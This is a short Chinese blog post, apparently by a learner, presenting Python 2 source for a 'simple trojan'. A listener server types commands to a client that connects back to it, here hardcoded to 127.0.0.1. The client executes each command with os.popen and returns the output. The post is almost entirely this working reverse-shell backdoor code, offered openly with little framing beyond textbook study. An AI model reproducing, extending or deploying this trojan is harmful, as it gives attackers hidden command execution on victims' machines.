pyhton实现简单的木马程序

十一的晚上，平时都在写工作的代码，好久没有专门看一些知识了，感觉想刚开始学c一样，搞到半夜

还是《python网络编程基础》，写了小脚本，没有任何结构，一句一句的往下写的，反正是可以实现想法了

运行环境：python2

服务端

 #!/usr/bin/env python
 # -*- coding:utf-8 -*-
 """
 木马程序服务端
 """

 from socket import *

 host = ''
 port = 34567

 # 创建socket
 sock = socket(AF_INET,SOCK_STREAM)
 # 设置端口回收
 sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
 # 绑定ip和端口
 sock.bind((host,port))

 # 设置连接数量
 sock.listen(1)

 print u"服务器已经开启\n\r端口号：%s" %port

 while 1:
     # 等待连接
     clientsock,clientaddr = sock.accept()
     print u"[%s:%d]上线..." %(clientaddr[0],clientaddr[1])
     # 发送数据
     clientsock.send("hello...")

     while 1:
         # 接收客户端返回
         buf = clientsock.recv(2048 * 4)
         if not len(buf):
             break
         else :
             print buf
             while 1:
                 # 输入命令
                 cmd = raw_input(">")
                 if not len(cmd):
                     continue

                 try:
                     # 发送命令
                     clientsock.send(cmd.encode())
                 except Exception as e:
                     continue

                 break
         

客户端

 #!/usr/bin/env python
 # coding:utf-8

 """
 木马客户端
 """

 from socket import *
 import os

 host = "127.0.0.1"
 port = 34567

 # 创建socket
 sock = socket(AF_INET,SOCK_STREAM)

 try:
     # 连接服务器
     sock.connect((host,port))
 except Exception as e:
     print u"连接失败：%s" %e
     exit()

 while 1:
     # 接收命令
     buf = sock.recv(1024)
     filename = ''
     # 对切换目录命令特殊处理
     if buf[0:2] == 'cd':
         buf = buf[3:]
         os.chdir(buf)
         cmd = os.popen('dir')
         for str in cmd.readlines():
             filename += str
     else:
         # 执行命令
         cmd = os.popen(buf)
         for str in cmd.readlines():
             filename += str
     if not filename:
         filename = 'NO...'

     try:
         # 将命令执行内容返回给服务器
         sock.sendall(filename + "\r\n")
     except Exception as e:
         exit()
     

效果图

菜鸟献丑，大神指点